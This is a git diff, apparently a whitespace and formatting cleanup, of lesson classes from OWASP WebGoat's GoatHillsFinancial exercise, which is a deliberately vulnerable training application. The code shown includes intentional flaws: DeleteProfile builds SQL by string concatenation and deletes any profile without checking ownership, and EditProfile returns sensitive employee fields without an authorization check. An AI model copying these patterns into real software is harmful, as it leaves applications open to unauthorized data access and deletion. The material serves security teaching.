authorized = isAuthorizedForEmployee(s, Integer.parseInt(employer_id), employeeId);
}
- }
- catch ( SQLException sqle )
+ } catch (SQLException sqle)
{
- s.setMessage( "Error authorizing" );
+ s.setMessage("Error authorizing");
sqle.printStackTrace();
}
- }
- catch ( Exception e )
+ } catch (Exception e)
{
- s.setMessage( "Error authorizing" );
+ s.setMessage("Error authorizing");
e.printStackTrace();
}
-
- //System.out.println("Authorized? " + authorized);
+
+ // System.out.println("Authorized? " + authorized);
return authorized;
}
-
+
public boolean isAuthorizedForEmployee(WebSession s, int userId, int employeeId)
{
- //System.out.println("Authorizing " + userId + " for access to employee: " + employeeId);
+ // System.out.println("Authorizing " + userId + " for access to employee: " + employeeId);
boolean authorized = false;
-
+
try
{
String query = "SELECT * FROM ownership WHERE employer_id = ? AND employee_id = ?";
-
+
try
{
-
- PreparedStatement answer_statement = WebSession.getConnection(s).prepareStatement( query,
- ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY );
+
+ PreparedStatement answer_statement = WebSession.getConnection(s)
+ .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
answer_statement.setInt(1, userId);
answer_statement.setInt(2, employeeId);
ResultSet answer_results = answer_statement.executeQuery();
authorized = answer_results.first();
- }
- catch ( SQLException sqle )
+ } catch (SQLException sqle)
{
- s.setMessage( "Error authorizing" );
+ s.setMessage("Error authorizing");
sqle.printStackTrace();
}
- }
- catch ( Exception e )
+ } catch (Exception e)
{
- s.setMessage( "Error authorizing" );
+ s.setMessage("Error authorizing");
e.printStackTrace();
}
-
+
return authorized;
}
-
+
protected void setStage(WebSession s, String stage)
{
getLesson().setStage(s, stage);
}
- protected void setStageComplete(WebSession s, String stage) {
+ protected void setStageComplete(WebSession s, String stage)
+ {
getLesson().setStageComplete(s, stage);
}
-
+
protected String getStage(WebSession s)
{
return getLesson().getStage(s);
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/DeleteProfile.java b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/DeleteProfile.java
index 67e8a8a2e..81799d83b 100755
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/DeleteProfile.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/DeleteProfile.java
@@ -1,122 +1,111 @@
+
package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
-
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class DeleteProfile extends DefaultLessonAction
{
- private LessonAction chainedAction;
+ private LessonAction chainedAction;
- public DeleteProfile(GoatHillsFinancial lesson, String lessonName,
- String actionName, LessonAction chainedAction)
- {
- super(lesson, lessonName, actionName);
- this.chainedAction = chainedAction;
- }
-
- public void handleRequest(WebSession s) throws ParameterNotFoundException,
- UnauthenticatedException, UnauthorizedException,
- ValidationException
- {
- getLesson().setCurrentAction(s, getActionName());
-
- int userId = getIntSessionAttribute(s, getLessonName() + "."
- + GoatHillsFinancial.USER_ID);
- int employeeId = s.getParser().getIntParameter(
- GoatHillsFinancial.EMPLOYEE_ID);
-
- if (isAuthenticated(s))
+ public DeleteProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
{
- deleteEmployeeProfile(s, userId, employeeId);
-
- try
- {
- chainedAction.handleRequest(s);
- }
- catch (UnauthenticatedException ue1)
- {
- System.out.println("Internal server error");
- ue1.printStackTrace();
- }
- catch (UnauthorizedException ue2)
- {
- System.out.println("Internal server error");
- ue2.printStackTrace();
- }
+ super(lesson, lessonName, actionName);
+ this.chainedAction = chainedAction;
}
- else
- throw new UnauthenticatedException();
- }
-
- public String getNextPage(WebSession s)
- {
- return GoatHillsFinancial.LISTSTAFF_ACTION;
- }
-
- public void deleteEmployeeProfile(WebSession s, int userId, int employeeId)
- throws UnauthorizedException
- {
- try
+ public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
+ UnauthorizedException, ValidationException
{
- // Note: The password field is ONLY set by ChangePassword
- String query = "DELETE FROM employee WHERE userid = " + employeeId;
- //System.out.println("Query: " + query);
- try
- {
- Statement statement = WebSession.getConnection(s)
- .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
- ResultSet.CONCUR_READ_ONLY);
- statement.executeUpdate(query);
- }
- catch (SQLException sqle)
- {
- s.setMessage("Error deleting employee profile");
- sqle.printStackTrace();
- }
+ getLesson().setCurrentAction(s, getActionName());
+
+ int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID);
+ int employeeId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID);
+
+ if (isAuthenticated(s))
+ {
+ deleteEmployeeProfile(s, userId, employeeId);
+
+ try
+ {
+ chainedAction.handleRequest(s);
+ } catch (UnauthenticatedException ue1)
+ {
+ System.out.println("Internal server error");
+ ue1.printStackTrace();
+ } catch (UnauthorizedException ue2)
+ {
+ System.out.println("Internal server error");
+ ue2.printStackTrace();
+ }
+ }
+ else
+ throw new UnauthenticatedException();
+
}
- catch (Exception e)
+
+ public String getNextPage(WebSession s)
{
- s.setMessage("Error deleting employee profile");
- e.printStackTrace();
+ return GoatHillsFinancial.LISTSTAFF_ACTION;
+ }
+
+ public void deleteEmployeeProfile(WebSession s, int userId, int employeeId) throws UnauthorizedException
+ {
+ try
+ {
+ // Note: The password field is ONLY set by ChangePassword
+ String query = "DELETE FROM employee WHERE userid = " + employeeId;
+ // System.out.println("Query: " + query);
+ try
+ {
+ Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
+ ResultSet.CONCUR_READ_ONLY);
+ statement.executeUpdate(query);
+ } catch (SQLException sqle)
+ {
+ s.setMessage("Error deleting employee profile");
+ sqle.printStackTrace();
+ }
+ } catch (Exception e)
+ {
+ s.setMessage("Error deleting employee profile");
+ e.printStackTrace();
+ }
}
- }
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/EditProfile.java b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/EditProfile.java
index 287799439..618f120a3 100755
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/EditProfile.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/EditProfile.java
@@ -1,132 +1,115 @@
+
package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
-
import org.owasp.webgoat.session.Employee;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class EditProfile extends DefaultLessonAction
{
- public EditProfile(GoatHillsFinancial lesson, String lessonName,
- String actionName)
- {
- super(lesson, lessonName, actionName);
- }
-
- public void handleRequest(WebSession s) throws ParameterNotFoundException,
- UnauthenticatedException, UnauthorizedException
- {
- getLesson().setCurrentAction(s, getActionName());
-
- if (isAuthenticated(s))
+ public EditProfile(GoatHillsFinancial lesson, String lessonName, String actionName)
{
- int userId = getUserId(s);
- int employeeId = s.getParser().getIntParameter(
- GoatHillsFinancial.EMPLOYEE_ID);
-
- Employee employee = getEmployeeProfile(s, userId, employeeId);
- setSessionAttribute(s, getLessonName() + "."
- + GoatHillsFinancial.EMPLOYEE_ATTRIBUTE_KEY, employee);
+ super(lesson, lessonName, actionName);
}
- else
- throw new UnauthenticatedException();
- }
- public String getNextPage(WebSession s)
- {
- return GoatHillsFinancial.EDITPROFILE_ACTION;
- }
-
- public Employee getEmployeeProfile(WebSession s, int userId,
- int subjectUserId) throws UnauthorizedException
- {
- Employee profile = null;
-
- // Query the database for the profile data of the given employee
- try
+ public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
+ UnauthorizedException
{
- String query = "SELECT * FROM employee WHERE userid = ?";
+ getLesson().setCurrentAction(s, getActionName());
- try
- {
- PreparedStatement answer_statement = WebSession
- .getConnection(s).prepareStatement(query,
- ResultSet.TYPE_SCROLL_INSENSITIVE,
- ResultSet.CONCUR_READ_ONLY);
- answer_statement.setInt(1, subjectUserId);
- ResultSet answer_results = answer_statement.executeQuery();
- if (answer_results.next())
+ if (isAuthenticated(s))
{
- // Note: Do NOT get the password field.
- profile = new Employee(answer_results.getInt("userid"),
- answer_results.getString("first_name"),
- answer_results.getString("last_name"),
- answer_results.getString("ssn"), answer_results
- .getString("title"), answer_results
- .getString("phone"), answer_results
- .getString("address1"), answer_results
- .getString("address2"), answer_results
- .getInt("manager"), answer_results
- .getString("start_date"), answer_results
- .getInt("salary"), answer_results
- .getString("ccn"), answer_results
- .getInt("ccn_limit"), answer_results
- .getString("disciplined_date"),
- answer_results.getString("disciplined_notes"),
- answer_results.getString("personal_description"));
- /* System.out.println("Retrieved employee from db: " +
- profile.getFirstName() + " " + profile.getLastName() +
- " (" + profile.getId() + ")");
- */}
- }
- catch (SQLException sqle)
- {
- s.setMessage("Error getting employee profile");
- sqle.printStackTrace();
- }
- }
- catch (Exception e)
- {
- s.setMessage("Error getting employee profile");
- e.printStackTrace();
+ int userId = getUserId(s);
+ int employeeId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID);
+
+ Employee employee = getEmployeeProfile(s, userId, employeeId);
+ setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ATTRIBUTE_KEY, employee);
+ }
+ else
+ throw new UnauthenticatedException();
}
- return profile;
- }
+ public String getNextPage(WebSession s)
+ {
+ return GoatHillsFinancial.EDITPROFILE_ACTION;
+ }
+
+ public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
+ {
+ Employee profile = null;
+
+ // Query the database for the profile data of the given employee
+ try
+ {
+ String query = "SELECT * FROM employee WHERE userid = ?";
+
+ try
+ {
+ PreparedStatement answer_statement = WebSession.getConnection(s)
+ .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
+ answer_statement.setInt(1, subjectUserId);
+ ResultSet answer_results = answer_statement.executeQuery();
+ if (answer_results.next())
+ {
+ // Note: Do NOT get the password field.
+ profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
+ answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
+ .getString("title"), answer_results.getString("phone"), answer_results
+ .getString("address1"), answer_results.getString("address2"), answer_results
+ .getInt("manager"), answer_results.getString("start_date"), answer_results
+ .getInt("salary"), answer_results.getString("ccn"), answer_results
+ .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
+ .getString("disciplined_notes"), answer_results.getString("personal_description"));
+ /*
+ * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
+ * profile.getLastName() + " (" + profile.getId() + ")");
+ */}
+ } catch (SQLException sqle)
+ {
+ s.setMessage("Error getting employee profile");
+ sqle.printStackTrace();
+ }
+ } catch (Exception e)
+ {
+ s.setMessage("Error getting employee profile");
+ e.printStackTrace();
+ }
+
+ return profile;
+ }
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/FindProfile.java b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/FindProfile.java
index e8cd6c8c4..5adb844eb 100755
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/FindProfile.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/FindProfile.java
@@ -1,9 +1,9 @@
+
package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
-
import org.owasp.webgoat.session.Employee;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
@@ -11,180 +11,151 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class FindProfile extends DefaultLessonAction
{
- private LessonAction chainedAction;
+ private LessonAction chainedAction;
-
- public FindProfile(GoatHillsFinancial lesson, String lessonName,
- String actionName, LessonAction chainedAction)
- {
- super(lesson, lessonName, actionName);
- this.chainedAction = chainedAction;
- }
-
-
- public void handleRequest(WebSession s) throws ParameterNotFoundException,
- UnauthenticatedException, UnauthorizedException,
- ValidationException
- {
- if (isAuthenticated(s))
+ public FindProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
{
- int userId = getIntSessionAttribute(s, getLessonName() + "."
- + GoatHillsFinancial.USER_ID);
+ super(lesson, lessonName, actionName);
+ this.chainedAction = chainedAction;
+ }
- String pattern = s.getParser().getRawParameter(
- GoatHillsFinancial.SEARCHNAME);
+ public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
+ UnauthorizedException, ValidationException
+ {
+ if (isAuthenticated(s))
+ {
+ int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID);
- findEmployeeProfile(s, userId, pattern);
+ String pattern = s.getParser().getRawParameter(GoatHillsFinancial.SEARCHNAME);
- // Execute the chained Action if the employee was found.
- if (foundEmployee(s))
- {
+ findEmployeeProfile(s, userId, pattern);
+
+ // Execute the chained Action if the employee was found.
+ if (foundEmployee(s))
+ {
+ try
+ {
+ chainedAction.handleRequest(s);
+ } catch (UnauthenticatedException ue1)
+ {
+ System.out.println("Internal server error");
+ ue1.printStackTrace();
+ } catch (UnauthorizedException ue2)
+ {
+ System.out.println("Internal server error");
+ ue2.printStackTrace();
+ }
+ }
+ }
+ else
+ throw new UnauthenticatedException();
+ }
+
+ public String getNextPage(WebSession s)
+ {
+ String page = GoatHillsFinancial.SEARCHSTAFF_ACTION;
+
+ if (foundEmployee(s)) page = GoatHillsFinancial.VIEWPROFILE_ACTION;
+
+ return page;
+ }
+
+ private boolean foundEmployee(WebSession s)
+ {
+ boolean found = false;
try
{
- chainedAction.handleRequest(s);
- }
- catch (UnauthenticatedException ue1)
+ getIntRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID);
+ found = true;
+ } catch (ParameterNotFoundException e)
{
- System.out.println("Internal server error");
- ue1.printStackTrace();
}
- catch (UnauthorizedException ue2)
+
+ return found;
+ }
+
+ public Employee findEmployeeProfile(WebSession s, int userId, String pattern) throws UnauthorizedException
+ {
+ Employee profile = null;
+ // Clear any residual employee id's in the session now.
+ removeSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID);
+
+ // Query the database for the profile data of the given employee
+ try
{
- System.out.println("Internal server error");
- ue2.printStackTrace();
- }
- }
- }
- else
- throw new UnauthenticatedException();
- }
+ String query = "SELECT * FROM employee WHERE first_name LIKE ? OR last_name LIKE ?";
+ try
+ {
+ PreparedStatement answer_statement = WebSession.getConnection(s)
+ .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
+ answer_statement.setString(1, "%" + pattern + "%");
+ answer_statement.setString(2, "%" + pattern + "%");
+ ResultSet answer_results = answer_statement.executeQuery();
- public String getNextPage(WebSession s)
- {
- String page = GoatHillsFinancial.SEARCHSTAFF_ACTION;
+ // Just use the first hit.
+ if (answer_results.next())
+ {
+ int id = answer_results.getInt("userid");
+ // Note: Do NOT get the password field.
+ profile = new Employee(id, answer_results.getString("first_name"), answer_results
+ .getString("last_name"), answer_results.getString("ssn"),
+ answer_results.getString("title"), answer_results.getString("phone"), answer_results
+ .getString("address1"), answer_results.getString("address2"), answer_results
+ .getInt("manager"), answer_results.getString("start_date"), answer_results
+ .getInt("salary"), answer_results.getString("ccn"), answer_results
+ .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
+ .getString("disciplined_notes"), answer_results.getString("personal_description"));
- if (foundEmployee(s))
- page = GoatHillsFinancial.VIEWPROFILE_ACTION;
-
- return page;
- }
-
-
- private boolean foundEmployee(WebSession s)
- {
- boolean found = false;
- try
- {
- getIntRequestAttribute(s, getLessonName() + "."
- + GoatHillsFinancial.EMPLOYEE_ID);
- found = true;
- }
- catch (ParameterNotFoundException e)
- {}
-
- return found;
- }
-
-
- public Employee findEmployeeProfile(WebSession s, int userId, String pattern)
- throws UnauthorizedException
- {
- Employee profile = null;
- // Clear any residual employee id's in the session now.
- removeSessionAttribute(s, getLessonName() + "."
- + GoatHillsFinancial.EMPLOYEE_ID);
-
- // Query the database for the profile data of the given employee
- try
- {
- String query = "SELECT * FROM employee WHERE first_name LIKE ? OR last_name LIKE ?";
-
- try
- {
- PreparedStatement answer_statement = WebSession
- .getConnection(s).prepareStatement(query,
- ResultSet.TYPE_SCROLL_INSENSITIVE,
- ResultSet.CONCUR_READ_ONLY);
- answer_statement.setString(1, "%" + pattern + "%");
- answer_statement.setString(2, "%" + pattern + "%");
- ResultSet answer_results = answer_statement.executeQuery();
-
- // Just use the first hit.
- if (answer_results.next())
+ /*
+ * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
+ * profile.getLastName() + " (" + profile.getId() + ")");
+ */
+ setRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID, Integer.toString(id));
+ }
+ } catch (SQLException sqle)
+ {
+ s.setMessage("Error finding employee profile");
+ sqle.printStackTrace();
+ }
+ } catch (Exception e)
{
- int id = answer_results.getInt("userid");
- // Note: Do NOT get the password field.
- profile = new Employee(id, answer_results
- .getString("first_name"), answer_results
- .getString("last_name"), answer_results
- .getString("ssn"), answer_results
- .getString("title"), answer_results
- .getString("phone"), answer_results
- .getString("address1"), answer_results
- .getString("address2"), answer_results
- .getInt("manager"), answer_results
- .getString("start_date"), answer_results
- .getInt("salary"), answer_results.getString("ccn"),
- answer_results.getInt("ccn_limit"), answer_results
- .getString("disciplined_date"),
- answer_results.getString("disciplined_notes"),
- answer_results.getString("personal_description"));
-
- /* System.out.println("Retrieved employee from db: " +
- profile.getFirstName() + " " + profile.getLastName() +
- " (" + profile.getId() + ")");
- */
- setRequestAttribute(s, getLessonName() + "."
- + GoatHillsFinancial.EMPLOYEE_ID, Integer
- .toString(id));
+ s.setMessage("Error finding employee profile");
+ e.printStackTrace();
}
- }
- catch (SQLException sqle)
- {
- s.setMessage("Error finding employee profile");
- sqle.printStackTrace();
- }
- }
- catch (Exception e)
- {
- s.setMessage("Error finding employee profile");
- e.printStackTrace();
- }
- return profile;
- }
+ return profile;
+ }
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/GoatHillsFinancial.java b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/GoatHillsFinancial.java
index 44ba5f481..43ad810e4 100755
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/GoatHillsFinancial.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/GoatHillsFinancial.java
@@ -1,10 +1,10 @@
+
package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.util.ArrayList;
import java.util.Hashtable;
import java.util.List;
import java.util.Map;
-
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A;
@@ -16,317 +16,312 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class GoatHillsFinancial extends RandomLessonAdapter
{
- public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
+ public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
+ .addElement(
+ new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
+ .setVspace(0));
- public final static String DESCRIPTION = "description";
+ public final static String DESCRIPTION = "description";
- public final static String DISCIPLINARY_DATE = "disciplinaryDate";
+ public final static String DISCIPLINARY_DATE = "disciplinaryDate";
- public final static String DISCIPLINARY_NOTES = "disciplinaryNotes";
+ public final static String DISCIPLINARY_NOTES = "disciplinaryNotes";
- public final static String CCN_LIMIT = "ccnLimit";
+ public final static String CCN_LIMIT = "ccnLimit";
- public final static String CCN = "ccn";
+ public final static String CCN = "ccn";
- public final static String SALARY = "salary";
+ public final static String SALARY = "salary";
- public final static String START_DATE = "startDate";
+ public final static String START_DATE = "startDate";
- public final static String MANAGER = "manager";
+ public final static String MANAGER = "manager";
- public final static String ADDRESS1 = "address1";
+ public final static String ADDRESS1 = "address1";
- public final static String ADDRESS2 = "address2";
+ public final static String ADDRESS2 = "address2";
- public final static String PHONE_NUMBER = "phoneNumber";
+ public final static String PHONE_NUMBER = "phoneNumber";
- public final static String TITLE = "title";
+ public final static String TITLE = "title";
- public final static String SSN = "ssn";
+ public final static String SSN = "ssn";
- public final static String LAST_NAME = "lastName";
+ public final static String LAST_NAME = "lastName";
- public final static String FIRST_NAME = "firstName";
+ public final static String FIRST_NAME = "firstName";
- public final static String PASSWORD = "password";
+ public final static String PASSWORD = "password";
- public final static String EMPLOYEE_ID = "employee_id";
+ public final static String EMPLOYEE_ID = "employee_id";
- public final static String USER_ID = "user_id";
+ public final static String USER_ID = "user_id";
- public final static String SEARCHNAME = "search_name";
+ public final static String SEARCHNAME = "search_name";
- public final static String SEARCHRESULT_ATTRIBUTE_KEY = "SearchResult";
+ public final static String SEARCHRESULT_ATTRIBUTE_KEY = "SearchResult";
- public final static String EMPLOYEE_ATTRIBUTE_KEY = "Employee";
+ public final static String EMPLOYEE_ATTRIBUTE_KEY = "Employee";
- public final static String STAFF_ATTRIBUTE_KEY = "Staff";
+ public final static String STAFF_ATTRIBUTE_KEY = "Staff";
- public final static String LOGIN_ACTION = "Login";
+ public final static String LOGIN_ACTION = "Login";
- public final static String LOGOUT_ACTION = "Logout";
+ public final static String LOGOUT_ACTION = "Logout";
- public final static String LISTSTAFF_ACTION = "ListStaff";
+ public final static String LISTSTAFF_ACTION = "ListStaff";
- public final static String SEARCHSTAFF_ACTION = "SearchStaff";
+ public final static String SEARCHSTAFF_ACTION = "SearchStaff";
- public final static String FINDPROFILE_ACTION = "FindProfile";
+ public final static String FINDPROFILE_ACTION = "FindProfile";
- public final static String VIEWPROFILE_ACTION = "ViewProfile";
+ public final static String VIEWPROFILE_ACTION = "ViewProfile";
- public final static String EDITPROFILE_ACTION = "EditProfile";
+ public final static String EDITPROFILE_ACTION = "EditProfile";
- public final static String UPDATEPROFILE_ACTION = "UpdateProfile";
+ public final static String UPDATEPROFILE_ACTION = "UpdateProfile";
- public final static String CREATEPROFILE_ACTION = "CreateProfile";
+ public final static String CREATEPROFILE_ACTION = "CreateProfile";
- public final static String DELETEPROFILE_ACTION = "DeleteProfile";
+ public final static String DELETEPROFILE_ACTION = "DeleteProfile";
- public final static String ERROR_ACTION = "error";
+ public final static String ERROR_ACTION = "error";
- private final static Integer DEFAULT_RANKING = new Integer(125);
+ private final static Integer DEFAULT_RANKING = new Integer(125);
- private Map lessonFunctions = new Hashtable();
+ private Map lessonFunctions = new Hashtable();
- public GoatHillsFinancial()
- {
- String myClassName = parseClassName(this.getClass().getName());
- registerActions(myClassName);
